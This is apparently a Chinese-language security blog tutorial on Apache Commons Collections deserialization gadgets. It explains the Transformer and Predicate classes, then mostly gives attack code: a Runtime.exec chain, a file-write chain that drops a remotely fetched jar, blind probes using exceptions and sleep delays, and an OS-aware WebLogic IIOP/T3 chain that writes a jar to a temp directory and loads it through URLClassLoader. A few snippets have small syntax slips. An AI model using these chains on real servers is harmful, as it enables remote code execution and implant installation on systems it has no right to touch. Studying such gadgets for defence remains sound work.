1 簡介
眾所周知,CommonCollection Gadget主要是由ConstantTransformer,InvokerTransformer,ChainedTransformer構成。gadget主要通過Transformer接口 的transform方法,對輸入的對象做變換。ConstantTransformer不會做任何變換,只會返回類在實例化時傳入的對象,InvokerTransformer會對類在實例化時傳入的參數,通過反射去調用,ChainedTransformer將所有的Transformer連接起來,上一個Transformer的transform方法的結果,作為下一個Transformer的transform方法的參數。這樣就完成JAVA反序列化的gadget。下面為調用Runtime執行calc的CommonCollection的chain
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
上面的chain等效與下面的代碼
Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object
Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object
從上面的代碼中我們可以暫時得出以下結論
- 只有鏈式調用的方法才可以被改寫成CommonCollection執行鏈
- gadget中,不能有變量聲明語句
- 沒有while等語句
- 一切操作靠反射
2 CommonCollection其他Transform的簡介
在
org.Apache.commons.collections.functors中,所有的類都可以被簡單的分為三類,分別繼承自Transformer接口, Predicate接口,Closure接口。這三個接口主要有以下區別
- Transformer接口接收一個對象,返回對象的執行結果
- Closure接口接收一個對象,不返回對象的執行結果
- Predicate接口,類似條件語句,會根據執行結果,返回true或者false。這個將主要用在SwitchTransformer類中
對于我們來說,Closure接口沒有太多用,下面主要介紹一下繼承自Transformer接口的類與繼承自Predicate接口的類
繼承自Transformer接口的類
ChainedTransformer
將實例化后的Transformer的類的數組,按順序一個一個執行,前面的transform結果作為下一個transform的輸出。
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
CloneTransformer
調用并返回輸入對象clone方法的結果
public Object transform(Object input) {
if (input == null) {
return null;
}
return PrototypeFactory.getInstance(input).create();
}
ClosureTransformer
將Closure接口的類轉換為Transformer
public Object transform(Object input) {
iClosure.execute(input);
return input;
}
ConstantTransformer
調用transform方法,只返回類在實例化時存儲的類
public Object transform(Object input) { return iConstant;}
ExceptionTransformer
拋出一個異常,FunctorException
public Object transform(Object input) { throw new FunctorException("ExceptionTransformer invoked");}
FactoryTransformer
調用相應的工廠類并返回結果
public Object transform(Object input) { return iFactory.create();}
InstantiateTransformer
根據給定的參數,在調用transform方法的時候實例化一個類
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException ex) {
throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
} catch (IllegalAccessException ex) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
} catch (InvocationTargetException ex) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
}
}
InvokerTransformer
調用transform方法的時候,根據類在實例化時提供的參數,通過反射去調用輸入對象的方法
MapTransformer
在調用transform方法時,將輸入函數作為key,返回類在實例化時參數map的value
public Object transform(Object input) { return iMap.get(input);}
NOPTransformer
啥也不干的Transformer
public Object transform(Object input) { return input;}
SwitchTransformer
類似if語句,在如果條件為真,則執行第一個Transformer,如果條件為假,則執行第二個Transformer
public Object transform(Object input) {
for (int i = 0; i < iPredicates.length; i++) {
if (iPredicates[i].evaluate(input) == true) {
return iTransformers[i].transform(input);
}
}
return iDefault.transform(input);
}
PredicateTransformer
將Predicate包裝為Transformer
public Object transform(Object input) { return (iPredicate.evaluate(input) ? Boolean.TRUE : Boolean.FALSE);}
StringValueTransformer
調用String.valueOf,并返回結果
public Object transform(Object input) {
return String.valueOf(input);
}
繼承自Predicate接口的類
AllPredicate
在執行多個Predicate,是否都返回true。
public boolean evaluate(Object object) {
for (int i = 0; i < iPredicates.length; i++) {
if (iPredicates[i].evaluate(object) == false) {
return false;
}
}
return true;
}
AndPredicate
兩個Predicate是否都返回true
public boolean evaluate(Object object) {
return (iPredicate1.evaluate(object) && iPredicate2.evaluate(object));
}
AnyPredicate
與AllPredicate相反,只要有任意一個Predicate返回true,則返回true
public boolean evaluate(Object object) {
for (int i = 0; i < iPredicates.length; i++) {
if (iPredicates[i].evaluate(object)) {
return true;
}
}
return false;
}
EqualPredicate
輸入的對象是否與類在實例化時提供的對象是否一致
public boolean evaluate(Object object) { return (iValue.equals(object));}
ExceptionPredicate
在執行evaluate時拋出一個異常
FalsePredicate
永遠返回False
IdentityPredicate
evaluate方法中輸入的對象是否與類實例化時提供的類是否一樣
public boolean evaluate(Object object) { return (iValue == object);}
InstanceofPredicate
輸入的對象是否與類實例化時提供的類的類型是否一致
public boolean evaluate(Object object) { return (iType.isInstance(object));}
NotPredicate
對evaluate的結果取反操作
public boolean evaluate(Object object) { return !(iPredicate.evaluate(object));}
NullIsExceptionPredicate
如果輸入的對象為null,則拋出一個異常
NullIsFalsePredicate
如果輸入的對象為null,則返回false
NullIsTruePredicate
如果輸入的對象為null,則返回true
NullPredicate
輸入的對象是否為null
OrPredicate
類似與條件語句中的或
public boolean evaluate(Object object) { return (iPredicate1.evaluate(object) || iPredicate2.evaluate(object));}
TransformerPredicate
將一個Transformer包裝為Predicate
0x03 使用方法
CommonCollection寫入文件
這種方法通過InvokerTransformr調用構造函數,然后再寫入文件。當然,這里我們可以使用InstantiateTransformer去實例化FileOutputStream類去寫入文件,代碼如下
new ChainedTransformer(new Transformer[]{
new ConstantTransformer(FileOutputStream.class),
new InstantiateTransformer(
new Class[]{
String.class, Boolean.TYPE
},
new Object[]{
"filePath, false
}),
new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{getRemoteJarBytes()})
}),
Gadget版盲注
思想類似于Sql的盲注。我們可以通過如下語句檢測java進程是否是root用戶
if (System.getProperty("user.name").equals("root")){
throw new Exception();
}
我們可以通過如下cc鏈,執行該語句
TransformerUtils.switchTransformer(
PredicateUtils.asPredicate(
new ChainedTransformer(new Transformer[]{
new ConstantTransformer(System.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getProperty", new Class[]{String.class}}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[]{"user.name"}}),
new InvokerTransformer("toString",
new Class[]{},
new Object[0]),
new InvokerTransformer("toLowerCase",
new Class[]{},
new Object[0]),
new InvokerTransformer("contains",
new Class[]{CharSequence.class},
new Object[]{"root"}),
})),
new TransformerUtils.exceptionTransformer(),
new TransformerUtils.nopTransformer());
是否存在某些文件
if (File.class.getConstructor(String.class).newInstance("/etc/passed").exists()){
Thread.sleep(7000);
}
改寫成cc鏈
TransformerUtils.switchTransformer(
PredicateUtils.asPredicate(
new ChainedTransformer( new Transformer[] {
new ConstantTransformer(File.class),
new InstantiateTransformer(
new Class[]{
String.class
},
new Object[]{
path
}),
new InvokerTransformer("exists", null, null)
})
),
new ChainedTransformer( new Transformer[] {
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
})
}),
TransformerUtils.nopTransformer();)
weblogic iiop/T3回顯
主要問題有 目前只能用URLClassloader,但是需要確定上傳到weblogic服務器的位置。而這里我們知道,windows與linux的臨時目錄以及file協議訪問上傳文件的絕對路徑肯定不一樣。如果只用invokerTransform的話,最簡單的執行回顯的方案如下
sequenceDiagram
攻擊者->>weblogic: 上傳至Linux的臨時目錄/tmp/xxx.jar
攻擊者->>weblogic: 調用urlclassloader加載,安裝實例
攻擊者->>weblogic:通過lookup查找實例,檢測是否安裝成功
weblogic->>攻擊者: 安裝成功,結束
weblogic->>攻擊者: 安裝失敗,拋出異常
攻擊者->>weblogic: 上傳至windows的臨時目錄 C:\Windows\Temp\xxx.jar
攻擊者->>weblogic: 調用urlclassloader加載,安裝實例
攻擊者->>weblogic:通過lookup查找實例,檢測是否安裝成功
weblogic->>攻擊者: 安裝成功 結束
weblogic->>攻擊者: 安裝失敗
攻擊一次weblogic服務器,最多可能需要發送6次反序列化包,才能成功的給weblogic服務器安裝實例。這顯然不符合我們精簡代碼的思想。下面我們用正常思維的方式去執行一下攻擊過程
if (os == 'win'){
fileOutput(winTemp)
}
else{
fileOutput(LinuxTemp)
}
if (os == 'win'){
urlclassloader.load(winTemp)
}
else{
urlclassloader.load(LinuxTemp)
}
這里我們可以使用SwitchTransformer + Predicate + ChainedTransformer 組合去完成。
- SwitchTransformer類似于if語句
- Predicate類似于條件語句
- ChainedTransformer 將所有的語句串起來執行
SwitchTransformer類需要一個Predicate,而這里TransformerPredicate可以將一個Transformer轉換為一個Predicate。所以我們需要一個可以判斷操作系統的chain。然后將判斷操作系統的chain作為Predicate,調用switchTransformer,根據結果,將可執行ja包寫入win或者linux的臨時目錄。然后再調用第二個switchTransformer,根據操作系統的類型,調用URLclassloader分別加載相應上傳位置的jar包,通過chainedTransformer將兩個SwitchTransformer將兩個SwitchTransform連接起來。代碼如下
Transformer t = TransformerUtils.switchTransformer(
PredicateUtils.asPredicate(
getSysTypeTransformer()
),
new ChainedTransformer(new Transformer[]{
new ConstantTransformer(FileOutputStream.class),
new InstantiateTransformer(
new Class[]{
String.class, Boolean.TYPE
},
new Object[]{
"C:\Windows\Temp\xxx.jar", false
}),
new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{getRemoteJarBytes()})
}),
TransformerUtils.nopTransformer());
Transformer t1 = TransformerUtils.switchTransformer(
PredicateUtils.asPredicate(
getSysTypeTransformer()
),
new ChainedTransformer(new Transformer[]{
new ConstantTransformer(URLClassLoader.class),
new InstantiateTransformer(
new Class[]{
URL[].class
},
new Object[]{
new URL[]{new URL("file:/C:\Windows\Temp\xxx.jar")}
}),
new InvokerTransformer("loadClass",
new Class[]{String.class}, new Object[]{className}),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"test", new Class[]{String.class}}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class}, new Object[]{null, new String[]{op}})}),
TransformerUtils.nopTransformer()); // 這塊自行改成linux的吧
Transformer list = new ChainedTransformer(new Transformer[]{
t,
t1
});
private static ChainedTransformer getSysTypeTransformer() {
return new ChainedTransformer(new Transformer[]{
new ConstantTransformer(System.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getProperty", new Class[]{String.class}}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[]{"os.name"}}),
new InvokerTransformer("toString",
new Class[]{},
new Object[0]),
new InvokerTransformer("toLowerCase",
new Class[]{},
new Object[0]),
new InvokerTransformer("contains",
new Class[]{CharSequence.class},
new Object[]{"win"}),
});
}
參考:
- https://commons.apache.org/proper/commons-collections/apidocs/org/apache/commons/collections4/functors/SwitchTransformer.html
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html#WhileClosure